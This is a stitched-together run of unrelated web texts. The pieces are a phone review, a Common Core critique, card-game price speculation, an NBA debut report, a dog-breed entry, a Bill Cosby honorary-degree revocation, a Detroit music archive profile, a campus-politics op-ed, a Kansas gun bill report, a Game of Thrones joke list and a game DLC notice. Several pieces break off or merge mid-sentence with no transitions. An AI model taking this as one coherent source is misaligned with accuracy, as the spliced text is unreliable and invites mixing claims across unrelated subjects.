What do you think I should do? Go for a refund while I can? Or take the responsibility that I have as a Kickstarter Backer? And what do you think Kickstarter Backer’s responsibilities are? Leave a comment down below.So one could be forgiven for writing Sony Ericsson's 'PlayStation Certified' challenger off as another N-Gage, but that would be to miss two crucial points. Firstly, this device has the considerable reputation of Sony's gaming division to draw upon, and secondly, it's running Google's Android operating system – a mobile platform that has made a habit of giving Apple a bloody nose and is dangerously close to achieving numerical supremacy in the smartphone arena.
Gaming on phones didn't really come of age until the launch of the Apple iPhone, a device which has succeeded in turning sectors of society previously disinterested in video games into rabid Angry Birds fanatics. Before we plunge into an in-depth analysis of Sony Ericsson's Xperia Play – a handset with the unique selling point of a dedicated gaming interface – it's worth noting that the iPhone is largely devoid of physical buttons.
Video games and mobile phones have, until very recently, enjoyed a rather dysfunctional relationship. Basic Java-based efforts played on woefully ill-suited numerical keypads were the order of the day not so long ago, and even when industry veteran Nokia attempted to remedy the latter issue with its gaming-centric N-Gage, the general public was curiously apathetic.
The hardware
When you consider the hype and expectation surrounding the launch of the Xperia Play, it's surprising that first impressions are decidedly downbeat. Despite tipping the scales at a rotund 175 grams, it's created almost entirely from cheap and glossy plastic, and exudes all the sophistication of an omnibus episode of The Only Way Is Essex. The 16mm thickness of the Xperia Play also counts against it in this era of rapidly-thinning smartphones.
Another area of the device that is noticeably lacking is the LED backlit LCD screen. At four inches it's certainly large enough, and the 480 x 854 resolution ensures pin-sharp image quality, but the brightness is below par and colours have a tendency to look washed out. Super AMOLED technology – like that seen in Google's very own Nexus S handset – would have delivered a more striking visual impact.
On the subject of internal parts, gadget fiends are certain to feel aggrieved by the lack of a dual-core processor. Although the Xperia Play's 1GHz CPU performs admirably in general tasks, it lacks the future-proofing of a more advanced chip. By the end of 2011, this phone is likely to be seen as something of a weakling – in the Android arena, at least.
The negativity quickly dissipates once you slide open those glorious PlayStation-style controls, however. Although we've seen gaming interfaces on mobiles before (on the N-Gage and the under-appreciated Sagem MyG-5), they pale into insignificance next to what's presented here. In short, imagine if the bottom section of the PSPgo was wrenched from its moorings and slapped onto an Android mobile. That's essentially what you're getting with the Xperia Play, and the results are predictably exciting for passionate mobile gamers.
To keep the phone's thickness down, Sony Ericsson has given the buttons a very low profile; all physical inputs reside in shallow dips within the casing, and despite the lack of travel, they perform well. The two touch-sensitive discs that lie between the D-pad and those iconic face buttons are intended to replace the dual analogue sticks of the legendary PlayStation pad design. These too work better than you expect, and the lack of tactile feedback provided by moving parts is mitigated by two small recesses marking the centre of each pad. As soon as your thumbs lock on to these subtle dips, everything else becomes second nature.
Some elements of the Xperia Play's refined gaming interface fail to pass muster, however. The L and R triggers feel flimsy and indistinct, and their location makes them difficult to press with any degree of certainty, especially when you're in a particularly fraught gaming situation.
Since the launch of the Nintendo 3DS – which can only manage a pathetic three hours with wireless and its much-hyped auto-stereoscopic 3D effect switched on – battery stamina has become a hot topic amongst mobile gamers. The Xperia Play's 1500mAh power cell is pretty standard for an Android-based smartphone these days, and with general phone use will require at least one charge a day. If you're looking for figures to illustrate pure gaming stamina, Sony Ericsson has pinned the Xperia Play's staying power at around five hours. Our tests revealed a slightly lower total, but not by much. It's worth bearing in mind that 3D graphics tax the phone's CPU more than 2D, resulting in a shorter play time between charges.The roster of actual mathematicians taking issue with the math in Common Core grows. “In mathematics, mastery of several calculation skills is delayed by one or two grade levels when compared with the standards recommended by the National Mathematics Advisory Panel (NMAP),” David V. Anderson writes in Replacing Common Core With Proven Standards of Excellence, a study published by the Heartland Institute. “Common Core specifies only three years of high school mathematics, compared to the traditional four years of instruction recommended by NMAP.”
Anderson is a retired research physicist and fellow of the American Physical Society who has taught high school math and physics. “In other words, Common Core proposes 11 easy years of instruction in mathematics that will fall short of the National Mathematics Advisory Panel’s recommended 12 years of intensive work,” Anderson avers elsewhere in the pamphlet.
He also notes that:
“Common Core postpones proficiency in whole-number division from NMAP’s benchmark grade 5 to grade 6.
“Common Core postpones teaching relationships between fractions and decimals from NMAP’s grade 5 to grade 7.
“Common Core postpones the grade level for a first algebra course from NMAP’s grade 8 to grade 9” andADVERTISEMENT:
Last weekend had Grand Prix Toronto won by Esper Dragons (notably the only copy to day 2 according to the day 2 breakdown here). The SCG Standard Classic (which is notably much smaller than an Open) was taken down by a very odd Naya Midrange deck. What does this do to the future of Standard prices? Well there weren’t a lot of colors in the top decks. That’s for sure.
Nissa and Gideon combine for the one-two planeswalker punch that currently support the G/W tokens deck. In Toronto, there were 10 G/W Tokens in the Top 32 and Gideon was played outside of that deck. The top 32 had 40 copies of Nissa and 60 copies of Gideon. That’s a lot for planeswalkers who prices have barely budged since the Pro Tour. This pair of walkers are from the same block so I think it would be wise to invest in them as they won’t rotate until next April. I think we will see them to continue to creep up by $0.30 per day until they pop. Nobody is noticing their slow ascension but once people do it will cause a price correction.
Next on our list of enemies is Tarmo…. I mean Sylvan Advocate. This card was the highest played card on the weekend. It showed up in staggering numbers at Toronto (69 copies in 32 decks) and almost as equally impressive numbers in Milwaukee (29 copies in 16 decks). It has already had a dominant rise the weekend of the Pro Tour but it keeps showing up in numbers suggesting it might be one of the best cards in Standard. It’s rare but possible for rares to hold values as high as $10-12 and this might be one of them. Oath of the Gatewatch was a small set so there may not be a terribly large number of them in the wild. If you are thinking of getting these to play with, you don’t have much to gain by waiting. Advocate is showing up in multiple different types of deck lists and is a recipe for a fast rising rare.
These three cards show up across multiple archtypes. Oath of Nissa is in G/W Tokens and G/R ramp decks. Declaration in Stone is played in White Humans, Bant Company, and G/W Tokens. Dromoka’s Command is having a last minute revival as the main form of removal for G/W Tokens and Bant Company. I’m not terribly interested in buying into Declaration which seems to be finally dropping in price as supply increases and Dromoka’s Command that rotates in September. Oath of Nissa feels like the type of card that will continue to be good card filtering into the next block and worth a pick up at $2.
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Turns out there is an amount of extra text you can throw onto a Serra Angel to make it good. Archangel Avacyn rounds out the best performing cards of the weekend putting 73 copies into 48 decklists this weekend. There is apparently no stopping this train but the true value lies in the difficult of opening flip mythics. Without MTGO redemption kicking in yet, we are unlikely to see a reprieve in Avacyn’s price. It’s possible it might still not move that much given how much more the redemption supply will affect regular mythics instead of flip cards. If you’re not a Standard player you can probably find a much better time to pick this up. I’d estimate by the holidays of 2016 she will be a $10-15 card.
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Modern
0 copies in the Top 8 of this open. Some decks in the Top 32 played a few copies of Ancestral Vision but Thopter Foundry is no where to be found. I think it’s almost safe to say that the Thopter Foundry unbanning is doing less than the Wild Nacatl unban. If you’re holding copies of these hoping they will go up I think it’s time to sell. I wouldn’t expect them to do anything but drop from here.
This card is dominating Standard and Modern and has seen a big resurgence from it’s all time low during the release of the event deck including it. If you’re a Modern player I would strongly recommending to wait for this to rotate before buying in. I’m not sure it will continue to hold it’s current price tag. It’s one of the few cards in the Abzan Company deck you play more than 1 of but that doesn’t mean it will maintain it’s $25 price tag. If you want to play them in Standard and Modern I would rather buy foil copies. There are a lot less of them out there and they’re unlikely to see as large of a collapse when Company rotates.
Final thoughts:
I’m going on a grinding binge. I’ll be at GP NYC this weekend and hope to pick up some sweet deals at the vendors.
Green is really good in Standard. We need to stop underestimating it.
White removal is still insane.
ADVERTISEMENT:Philadelphia — After barely breaking a smile, after answering question after question with precise, basketball-centric answers, Michael Carter-Williams finally cracked.
The former Syracuse University point guard had just played the game of his 22-year-old life. In his NBA debut, against the league's fearsome defending champions, he scored 22 points, registered 12 assists and had nine steals, seven rebounds and a single turnover as his Philadelphia 76ers defeated the Miami Heat 114-110 Wednesday at the Wells Fargo Center.
His nine steals set a record for most NBA steals in a debut and tied the record for most steals by a Sixer in a single game. The 22 points were the most scored in a Sixer debut since Allen Iverson, who scored 30 vs. Milwaukee in 1996. Iverson, in attendance after announcing his retirement, saw what the standing, stomping Sixers fans witnessed at the end of Wednesday's game: Carter-Williams grabbed a critical rebound and sank two free throws in the waning seconds to preserve the Philadelphia win.
"It couldn't have gone any better," Carter-Williams finally conceded with a wide smile and a chuckle. "I was all excited up in here. I'll be excited tonight, celebrate with my family and then back to work tomorrow."
"He did great. And that's an understatement," said Sixers guard Evan Turner. "He had a great game. He led us. He played a great all-around game. His poise out there for a young guy was tremendous."
"What do you say?" asked Sixers coach Brett Brown. "You look at the win and you look at the stat line. He was very, very good."
He was electrifying from the start. In the first two minutes of the game, Carter-Williams had a steal, a dunk, an assist and a 3-pointer. The Sixers opened on a ridiculous 23-2 run over the defending NBA champions.
"I was ready," Carter-Williams said later. "I was ready to go out there, anxious for this moment. I'm glad I was able to perform the way I did."
He scored five points, had four assists and four steals in nearly nine minutes of the first quarter. He sank another three in the second quarter. There were rebounds, long passes to sprinting teammates, defensive disruptions that Syracuse will miss this season.
He stole the ball from LeBron James and dunked at the other end in a sequence that brought Sixers fans to their feet. ("I just saw him turn his back," Carter-Williams said, "and I was able to jump when he wasn't looking.") The Heat guarded him with the 6-foot-2 Mario Chalmers and the similarly-sized Norris Cole. By intermission, Carter-Williams had 11 points, seven assists, six steals and zero turnovers. The Sixers were hanging on by a 2-point thread.
"I was figuring out their defense a little bit," he said. "I was able to get steals, that was a big plus. And guys were cutting to the hoop, I was getting passes to them and they were finishing. Everything was clicking tonight."
Carter-Williams admitted to a jangly mixture of nerves and excitement before the game. He spent most of the Sixers' pregame shoot-around on the floor. He fired jump shots. He backed down defenders in the post. He shot free throws.
He looked like the same gangly, spontaneous kid who one season ago was joking with Syracuse teammates at Orange practices. The Sixers made him the 11th pick of the June draft and bestowed upon him the keys to a tottering kingdom. Nothing much is expected of Philadelphia, picked by Las Vegas oddsmakers to be the worst team in the NBA this year.
But Carter-Williams expects things from himself.
"I think I'm pretty confident in my game. I've worked real hard to get to this moment. I don't have any doubt in myself," he said. "I know we're playing a great team. That's how the game goes. I'm going to go out there and try hard and try to lead my team to a win."
Turner, the former Ohio State star who is now the closest thing the Sixers have to a franchise player, said he likes what he sees from Carter-Willliams, who at 6-foot-6 possesses the length and the athleticism that his coaches and teammates often cite as his most obvious attributes. And as every day passes, Turner notices subtle alterations in the young point guard.
"I think he's getting more comfortable every day," Turner said. "He works hard, he pays attention to detail. I just think he cares about playing, he tries to get better — he comes out early and stays real late to get better."
Brown, the Sixers coach, warned Carter-Williams to give up the ball early Wednesday night. The Heat, with their big, bouncy bodies and their superior basketball skills, would undoubtedly attempt to bump and disrupt the rookie point guard.
"You have to move the ball against this team," Brown said. "They're too big. They're too athletic. The ball cannot stick."
Carter-Williams raced from the court to a designated room before the game to squeeze in a mandated film session. Nobody needed to point out LeBron, or Chris Bosh, Chalmers, the Birdman. (Dwayne Wade was a medical scratch.) For Carter-Williams, the only thing better than starting his first NBA game was starting it against the world champion Heat.
"I think it makes it a little better because as a basketball player, you want the best competition," he said. "To go against the Miami Heat is just a blessing. I'm going to go out there and have fun."
His teammates told him to "be patient, just stay within my game." It was just a basketball game, he said. He had put in the hours, done the work. Turner referenced Carter-Williams' poise, his patience, his competitive spirit. All that was left was to play.
And when it was over, he admitted it seemed like a dream.
"It's my first NBA game. We were able to come up with a win and we all played great," Carter-Williams said later, surrounded by reporters in the Sixers locker room. "So I'll never forget this day. It's a dream come true."Dog breed
Dog breed
Tosa Other names Tosa Inu
Tosa Ken
Tosa Tōken 土佐闘犬
Japanese Fighting Dog
Japanese Mastiff
Tosa Fighting Dog
Japanese Tosa Origin Japan Classification / standards FCI Group 2, Section 2.1 Molossian: Mastiff type #260 standard AKC FSS The AKC Foundation Stock Service (FSS) is an optional recording service for purebred dogs that are not yet eligible for AKC registration. UKC Guardian Dog Group standard Domestic dog Canis lupus familiaris )
The Tosa (土佐, also called the Tosa Inu, Tosa-Ken or Japanese Mastiff) is a breed of dog of Japanese origin that is considered rare. It was originally bred in Tosa, Shikoku (present day Kōchi) as a fighting dog and is the only breed still used (legally) in Japanese dog fighting.[1] Ownership is restricted in some countries as a dangerous breed.
Appearance [ edit ]
The Tosa varies considerably in size, with the Japanese-bred dogs tending to be about half the size of those bred outside the country. The Japanese breed generally weighs between 36 and 61 kilograms (80 and 135 lb), while the non-Japanese breeders have focused on dogs that weigh from 60 to 90 kg (130 to 200 lb) and stand 62 to 82 cm (24 to 32 in) at the withers. The coat is characterized by its short and smooth appearance and is often red, brindle, fawn or occasionally it can be a dull black. Maintenance of the coat is usually minimal. Dogs can occasionally tip the scale at 91 kilograms (200 lb). In Japan they are considered the equivalent of Sumo wrestlers, and are even depicted in wrestling accoutrement.[2]
History [ edit ]
The head of a Tosa
This breed originated in the second half of the nineteenth century. The breed started from the native Shikoku-Inu (an indigenous dog weighing about 25 kilograms (45 pounds) and standing about 55 centimetres high). These dogs were crossed with European dog breeds, such as the Old English Bulldog in 1872, Mastiff in 1874, St. Bernard, German Pointer in 1876, Great Dane in 1924, and the Bull Terrier. The aim was to breed a larger, more powerful dog. The heyday of Tosa breeding was between 1924 and 1933, when it was said that there were more than 5,000 Tosa breeders in Japan.[3][4]
Legal matters [ edit ]
Tosa Inu puppies 4 months
Ownership of Tosas is legally restricted in certain jurisdictions. In the United Kingdom ownership is regulated under the Dangerous Dogs Act 1991, and in Trinidad & Tobago under the Dog Control Act 2014.[5] A specific exemption of a British court is required to own and import Tosas legally in the UK.[6]
The breed is banned or legally restricted at a national level in:
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Fogle, Bruce (2000). The New Encyclopedia of the Dog. Doring Kindersley (DK). ISBN 0-7894-6130-7.
Cunliffe, Juliette (2004). The Encyclopedia of Dog Breeds. Parragon Publishing. ISBN 0-7525-8276-3.Updated Sept. 30 at 3:40 p.m.
The University has revoked Bill Cosby’s honorary degree, President Christina Paxson P’19 wrote in a community-wide email Monday night. He was awarded the degree in 1985.
The Corporation’s Board of Fellows decided to revoke the degree following sexual assault allegations against Cosby by 35 women.
Fordham University and Marquette University rescinded Cosby’s honorary degrees Thursday, which he received in 2001 and 2013, respectively. New York University removed Cosby’s name from its Future Filmmakers Workshop Sept. 1.
This marks the second time the University has revoked an honorary degree “to the best that we can determine from available records and documents,” wrote Vice President for Communications Cass Cliatt in an email to The Herald. In 1918, the Board of Fellows revoked the honorary degree of Johann Heinrich von Bernstorff, German ambassador to the United States, because “he was guilty of conduct dishonorable alike in a gentleman and a diplomat,” according to Encyclopedia Brunoniana.
“It has become clear, by his own admission in legal depositions that became public this summer, that Mr. Cosby has engaged in conduct with women that is contrary to the values of Brown and the qualities for which he was honored by the University in 1985,” Paxson wrote in the email.
“The conduct that Mr. Cosby has acknowledged is wholly inconsistent with the behavior we expect of any individual associated with Brown,” she wrote. “It is particularly troubling as our university community continues to confront the very real challenges of sexual violence on our campus and in society at large, and had it been known to the Fellows in 1985, an honorary degree … would not have been conferred.”
David Ray ’84 P’15 P’18 launched an online petition Sept. 20 to rescind Cosby’s degree. As of press time, the petition had garnered 71 signatures. “Given multiple charges of sexual misconduct by Bill Cosby and Brown’s renewed attention on sexual harassment and sexual assault policy, we urge Brown University to rescind its 1985 Honorary Degree to Bill Cosby. This follows similar actions by Fordham and Marquette,” the petition reads.
The petition was meant “to send a message to the Corporation that sexual assault will not be tolerated at Brown University by anyone in the community,” Ray said. It also sent a “strong public signal to the university that has supported the Sexual Assault Task Force,” he said.
“The Board of Fellows was unaware of any petition when making its decision,” Cliatt wrote.
The Board of Fellows only meets three times every semester, Cliatt wrote. “This month’s meeting was the first meeting since information became public over the summer — beginning in July — relating to the depositions that were a factor in the Board of Fellows’ decision.”
Though rumors of sexual assault had circulated for years, media coverage of the issue intensified in November 2014, as Cosby refused to answer questions about the sexual assault allegations during an NPR interview and canceled an appearance on the Late Show With David Letterman later that week, the New York Times reported.
On Dec. 2, 2014, Cosby resigned his post as a trustee at Temple University — a position he had held since 1982.
Seven months later, court documents were released in which Cosby stated he obtained quaaludes in the 1970s to give to women he wanted to have sex with. The records released July 7 were from a 2005 case in which Andrea Constand accused Cosby of drugging and sexually assaulting her.
Cosby was one of 10 honorary degree recipients in 1985, according to the University’s honorary degree index.
— Additional reporting by Gabriella ReyesAccording to journalist Larry Gabriel, decades ago some Motor City jazz virtuosos coined the phrase "The Detroit Way" to describe a local tradition of passing musical knowledge down to future generations. Now, Gabriel and an ambitious group of fellow Detroit writers are applying that same sharing spirit to a commendable task: documenting the musical history of their beloved city.
Founded by media scholar and author Carleton Gholz, the Detroit Sound Conservancy Oral History Project will provide an online archive dedicated to Motor City musicians that is expected to launch by the end of November. Through its recent Kickstarter campaign, the conservancy raised more than $8,500 — a hefty surplus from the initial $5,000 goal. The funds are being used to transcribe, digitize and conserve oral history interviews that already exist in the private hands of Detroit journalists such as Gabriel.
With more than 100 hours of tapes in its possession, including interviews with the Stooges' Ron Asheton, techno pioneer Ken Collier, blues musician Bobo Jenkins, and the late producer J Dilla, the conservancy hopes to become the gold standard of digital archiving.
"We want to be a resource for best practices when it comes to historical preservation," says Gholz. "Any group will be able to go to our website and learn such things as preserving their tapes, conducting oral histories with people they think are important, or backing stuff up through us."
Some might question the need for an oral history project dedicated to the music of Detroit. After all, the story of Berry Gordy, Motown Records and its universe of stars is legendary. But according to Gholz, many people are still unaware of Detroit's full musical heritage beyond Motown acts such as the Jackson 5, the Supremes, the Temptations, and Stevie Wonder.
Detroit's musical legacy outside of Motown is staggering, encompassing hitmakers and trendsetters such as Alice Cooper, John Lee Hooker, Aretha Franklin, Madonna, Parliament-Funkadelic, Ted Nugent, Bob Seger, and Patti Smith. Punk music took its cues from Detroit artists such as the MC5 (which aptly stands for the Motor City 5) and Iggy Pop And The Stooges, while Motor City rapper Eminem, hip-hop group Insane Clown Posse and Dilla have proven tremendously successful and influential. Detroit is also cited as the birthplace of techno music, spawning artists such as Juan Atkins, Derrick May and Kevin Saunderson. In recent years, contemporary rockers such as Kid Rock and Jack White have proudly represented the city.
Over the last decade, some of Detroit's more obscure musical stories have curiously revealed themselves. The 2002 documentary Standing In The Shadows Of Motown recounted the untold saga of the Funk Brothers, the backing band who performed on many classic Motown recordings. In 2012 another acclaimed documentary titled A Band Called Death related the tale of a lesser-known African-American trio of brothers from Detroit whose 1974 demo recordings presaged punk. Also in 2012, Searching For Sugar Man told the compelling tale of Detroit native Sixto Rodriguez, whose records made him a surprise hit in South Africa while he lived in obscurity in the states.
Now, with the help of the Detroit Sound Conservancy Oral History Project, many other lesser-known Motor City music stories could be discovered and told.
"Detroit is sort of a victim of its own success," Gholz says. "Because we've been so successful globally, people think things are taken care of historically, which is not true. Most people know the Berry Gordy Motown story or the Eminem 8 Mile story, but they alone don't encompass the diversity, the bizarreness, or the wonderfulness of Detroit music. The Oral History Project is a way of starting the reset button, instead of just assuming that we already know what the story is."
Indeed, history cannot be assumed — a point that is not lost on The Recording Academy. Similar to Gholz's Oral History Project, for nearly a decade the GRAMMY Foundation has been on its own mission to chronicle and document the careers of global music professionals through its own GRAMMY Living Histories program. According to GRAMMY Foundation Senior Vice President Kristen Madsen, to date the Living Histories archive has collected more than 200 stories, spanning generations and musical movements, as told by the individuals who had a hands-on role in shaping our musical history.
Understanding the vital importance of archiving oral music history for future generations, the GRAMMY Foundation commends the Detroit Sound Conservancy and its kindred preservation mission.
"The Detroit Sound Conservancy Oral History Project is poised to capitalize on music's unique power to define our culture, in this particular case as influenced by the unique characteristics of one of our most iconic cities," says Madsen. "It has the potential to reflect the cultural milestones, political markers, social evolutions, and technological innovations as they were manifest during the period by the musicians of Detroit."
For participating DSC journalist Gabriel, one of the most exciting things about the project is its potential to inform non-Detroiters about the city's countless unsung musicians. In 1989 Gabriel videotaped a series of interviews with Detroit jazz legends such as Thomas "Beans" Bowles, Kenn Cox, Wendell Harrison, and Alma Smith, among others. Though tremendously influential on the Detroit scene (Harrison co-founded acclaimed jazz indie label Tribe Records while Bowles was a Motown A&R scout), these musicians are largely unknown beyond the Motor City limits. Though most of them are now deceased, the Oral History Project promises to preserve their accomplishments for posterity.
"People who are great musicians aren't necessarily always famous musicians," Gabriel adds. "Sometimes you've got to go back and rediscover these people, and that's why we have to save this stuff."
To illustrate his point, Gabriel relates the story of Ellariz Lucas, a saxophone player who belonged to the all-female swing group the International Sweethearts Of Rhythm.
"The Sweethearts were sort of a concept trick — like, 'OK, we don't have any guys in the band because they're all off at war, let's form this all-female band,'" he says. "So here we've got [black and white women] in an all-female band during World War II. People have got to know that story. They can't be forgotten. It's wrong to forget them."
To help insure that Lucas and other obscure Motown musicians won't be forgotten, Gholz is making the Detroit Sound Conservancy an official 501(c)(3) nonprofit charitable organization. He's using donations to provide for website design and hosting, tape conservation and possibly even a brick-and-mortar museum sometime in the future.
"Cities aren't doing projects like this because arts funding is down and state budgets have been slashed," Gholz says. "On the local level, there's too much to do and [organizations are] understaffed, so we're stepping in to fill that void."
(Bruce Britt is an award-winning journalist and essayist whose work has appeared in The Washington Post, USA Today, San Francisco Chronicle, Billboard, and other publications. He lives in Los Angeles.)A year and a half after I graduated from the infamously progressive Oberlin College, The Washington Post published an article about students protesting the dining hall's own (quite literally tasteless) interpretations of Banh mi and sushi. Students weren't upset about the quality of the food, but rather, its political implications. As one junior from Japan explained, "If people not from that heritage take food, modify it, and serve it as 'authentic,' it is appropriative." An average person might consider this line of reasoning to be far-fetched, but this sounds like your typical Oberlin student to me. I identify as a leftist, but let's be real, this is fucking absurd. Not only is it a stretch to assert bad dining hall sushi is racist, but on a fundamental level, is this really what anyone wants to invest their energy in fighting? It's the perfect example of so-called "political correctness" run amuck.
The Obama years ushered in a series of ridiculous protests on college campuses, restarting the national conversation on political correctness. Since the rise of Donald Trump, people of all political leanings have been trying to figure out the best way to understand how political correctness influences our country's discourse. On last week's Saturday Night Live, Colin Jost joked about a new feature on Tinder that allows users to choose from 37 gender identity options, attributing Clinton's loss to this type of social progress. Jost directed critics
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Subscribe nowKansas lawmakers passed and sent to Gov. Sam Brownback a bill on Thursday that would exempt publicly owned hospitals, mental health centers, adult care homes and health clinics from having to allow people to bring concealed firearms into those facilities starting July 1.
But the bill would leave in place a requirement that public colleges and universities have to begin allowing concealed carry on that date.
Lawmakers in both chambers said they have been told Brownback has agreed to sign the bill, but his office did not confirm that to reporters.
The Senate took up the bill first and debated more than four hours before voting 24-16 to send the bill to the House. A few hours later, the House voted overwhelmingly, 91-33, to send the bill to the governor.
Those votes came despite strong lobbying by the National Rifle Association to scale back the bill.
The bill would allow Lawrence Memorial Hospital as well as the Bert Nash Community Mental Health Center and the University of Kansas hospital to continue banning guns in their buildings.
It also applies to state psychiatric hospitals as well as municipally-owned hospitals, indigent care clinics, community mental health centers and adult care homes.
Republican leaders in both chambers had been reluctant to debate gun legislation, saying there were ongoing negotiations between the NRA and groups wanting to limit the concealed-carry mandate, which goes into full effect July 1. But those negotiations failed to produce a compromise that all parties would accept.
Senate President Susan Wagle, R-Wichita, carried an amendment that she said the NRA supported and that Gov. Sam Brownback would sign. It would have limited the exemption just to patient-care areas of the KU hospital and the four state psychiatric hospitals, but it still would have allowed concealed-carry in the parking lots and public reception areas of those facilities. Beyond those points, the Wagle-NRA amendment would allow those facilities to require people to store guns in a locker.
“It’s not everything that KU Hospital wanted. They want a gun-free zone,” Wagle said. “But in 2013 we passed a law that said look, our policy is that if you have a state-funded and supported facility, we value the rights of law-abiding gun owners, and if you’re going to put in a state facility, if you’re going to ban guns, then provide security for people who would normally carry a gun to protect themselves and others from harm.”
Supporters of the current law have long argued that gun bans only prevent law-abiding people from taking guns into buildings because “stickers on the door” do not deter people with criminal intent.
But even senators who have strong pro-NRA ratings voted against that amendment, including Senate Republican Leader Jim Denning, of Overland Park.
Denning said the KU hospital and medical school, which are co-located in the same buildings, have to compete both regionally and nationally to recruit top researchers and faculty, and that many would not come to KU if it’s required to allow concealed firearms.
“Let them have their stickers on the door if it makes the folks who work there want to work there,” he said. “It’s about health care. It’s really not about anything more than that. It’s working fine.”
Wagle touted the amendment as a compromise, adding that the NRA didn’t need to negotiate because the Legislature passed its bill in 2013. But Senate Democratic Leader Anthony Hensley, of Topeka, said it didn’t meet the definition of “compromise” because the NRA was the only party that agreed to it. Neither KU, the Kansas Hospital Association nor the community mental health clinics supported the proposal.
The Wagle-NRA amendment failed, 16-24.
Wagle said during the debate that she has been told that Brownback will veto any bill other than the one backed by the NRA. But Sen. Carolyn McGinn, R-Sedgwick, who chairs the Ways and Means Committee where the bill originated, said Brownback had committed to signing that bill, if it comes out of the Legislature clean, with no other amendments.
The Ways and Means Committee, which typically deals with budget issues, initiated the gun debate after the Department on Aging and Disability Services requested $25 million over the next two years to install metal detectors and security guards at the four state psychiatric hospitals. That cost figure was later reduced to about $12.5 million, plus ongoing operational costs.
Under a law enacted in 2013, publicly-owned facilities other than K-12 public schools must either allow people to carry concealed firearms or provide adequate security to prevent anybody from bringing weapons into those buildings. The governing bodies that manage those buildings were allowed four years to come into compliance, a window that expires June 30.
During lengthy debate, the Senate also rejected an amendment that would have extended the exemption for public college and university campuses.
Sen. Tom Hawk, D-Manhattan, whose district includes the Kansas State University campus, said he supported the idea, but voted against the amendment because it would have killed the bill’s chances of passage.
But Sen. Marci Francisco, D-Lawrence, said she had to support it.
“My district includes the University of Kansas campus, Lawrence Memorial Hospital and Bert Nash Community Mental Health Center,” she said. “All of them are important to me. Representatives of all those facilities have urged me repeatedly to work against the bill that was passed four years ago. … It’s impossible for me to choose between my constituents.”
That amendment failed on a vote of 5-29. Sixteen senators did not cast a vote on the amendment.
The Senate put the language of its bill into a House bill that originally dealt with the city of Valley Center and its desire to deannex a publicly-owned cemetery, a legislative maneuver known as “gut-and-go.”
That meant that when the Senate sent the bill over to the House, the full House could simply vote to concur with the Senate change.
Strong gun-rights supporters in the House attempted to thwart the move by seeking to send the bill to a conference committee, which effectively would have killed the bill. But it was evident early on that they were badly outnumbered in the chamber.
Rep. John Whitmer, R-Wichita, joked about that when he spoke in favor of a motion to kill the measure.
“To my colleagues on the other side of the aisle, I apologize for what has happened to you in previous years, when Republican conservatives were in the majority, because this sucks,” Whitmer said.
Rep. John Barker, R-Abilene, who chairs the Federal and State Affairs Committee that considered a similar bill, voted in favor of passing it Thursday, even though he did not push to move the committee’s own bill during the session.
“It was a tie vote. I was the deciding factor, I chose not to vote because I wanted to work some compromise,” he said after the vote. “That did not happen.”
Although Republican leaders had been saying for weeks that the NRA was negotiating on a compromise, Barker said its lobbyists never approached him, even though he chairs the committee that deals with gun issues.
Rep. Barbara Ballard, D-Lawrence, said she was pleased with the outcome, even though the bill does not include an exemption for college and university campuses, which she strongly supports.
“That’s a totally separate issue,” she said after the vote. “It’s a big bite to think all of that’s going to happen.”
Ballard also suggested there may be another vote before the session ends to exempt higher-education campuses.
“It probably won’t be an easy one, but I will say to you there will probably be some vote on campus carry,” Ballard said.Share On more Share On more
1. Ned Stark says, "On second thought, let's not go to King's Landing. 'Tis a silly place." The Stark family then lives on forever. 2. Drogo learns about the wonders of Neosporin and maybe lives instead of dying from being too macho. 3. Jon Snow and Ygritte actually do stay in that cave and eventually die of too much sex. 4. Varys puts out a "Seriously, Don't Trust Littlefinger" PSA, saving countless lives. 5. Cersei drunkenly binge-watches Pretty Little Liars and starts sending threatening texts to Margaery signed "A." 6. Ned Stark starts using dad jokes on his daughters, including "Arya coming with me or not?" and "You're not making any Sansa!" 7. Littlefinger is magically transported to Baltimore, Maryland, where he runs for mayor.
8. Syrio Forel continues to train Arya and the two become masked vigilantes in King's Landing. 9. Joffrey goes hunting and, like his "father," is also killed by a boar. 10. The boar is actually Tyrion in disguise. 11. Stannis tells Melisandre to shove it and actually listens to the advice of his most trusted fucking lieutenant for once. 12. Stannis does basically none of the things that he actually did thus far. 13. Except for his grammatical corrections, which lead him to start a Twitter account in which he just shames people for confusing "less" and "fewer."
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14. Dany's blood magic works and Drogo comes fully back to life and together they conquer Westeros, which then becomes Besteros. 15. Olly is locked up in the Castle Black dungeon on charges of "being a little bitch." 16. Oberyn wins his duel with the Mountain. He and Jaime become the top male models in King's Landing. Tyrion is their agent. 17. Tyrion hosts a hit game show and has his own signature sign-off: "A Lannister always spays his pets." 18. Joffrey throws a big 19th birthday party. Nobody comes. 19. Eventually the Hound shows up and just eats the whole cake.
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20. Missandei teaches Grey Worm the meaning of "Bye Felicia." Grey Worm uses it so much that Daario threatens to stab him. 21. Bran wargs into Robb and makes him sing "I Feel Pretty" while wearing one of Sansa's dresses. 22. Bran wargs into Joffrey and makes him jump off a cliff. 23. Ramsay Snow is swallowed whole by a dragon and slowly digested as the stomach acid burns him alive. 24. Brienne, Podrick, and the Hound move into an apartment together, and thus a hit sitcom is born. 25. Tyrion makes his 1,000th "give him a hand" joke to Jaime, who gets so annoyed that he just takes the hand off and throws it at Tyrion.
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26. The Red Wedding actually just turns out to be a nice wedding that heavily features the music of Taylor Swift's fourth studio album. 27. Jorah makes a Tinder profile and moves the fuck on with his life. 28. Arya still trains with the Faceless Man, but only uses her powers to prank Gendry and Hot Pie. 29. Beric Dondarrion does his resurrection trick. The TARDIS appears, the Doctor steps out and says, "That's cute." 30. Jon starts a Thanksgiving-themed comfort food restaurant named "You Know Stuffing, Jon Snow." 31. The White Walkers and their army set the world record for most people doing the "Thriller" dance at the same time. 32. Sansa finds Joffrey's diary and reads it aloud to the entirety of King's Landing. 33. ALL THE DIREWOLVES LIVE HAPPY DIREWOLF LIVES AND NEVER DIE EVER.Fire Emblem Fates’ DLC Map Will Feature Characters From Awakening
By Sato. July 22, 2015. 11:45pm
Starting today until August 20th, Fire Emblem Fates is getting a series of DLC maps, including a free map that will feature characters from Fire Emblem Awakening. 4Gamer shares a first look at the new maps.
The first three maps that are now available are titled “The Paradise Struggle,” “Sacred Mountain of Fear,” and “Encounter with the Awakening.” These maps and the others that will be available later have their own useful characteristics such as helping you make money or gain experience. The “Encounter with the Awakening” map is for free, while the other two cost 300 yen, each. Additionally, you can buy a pack of all seven DLC maps for 2,000 yen until August 20th.
“Encounter with the Awakening”
“The Paradise Struggle”
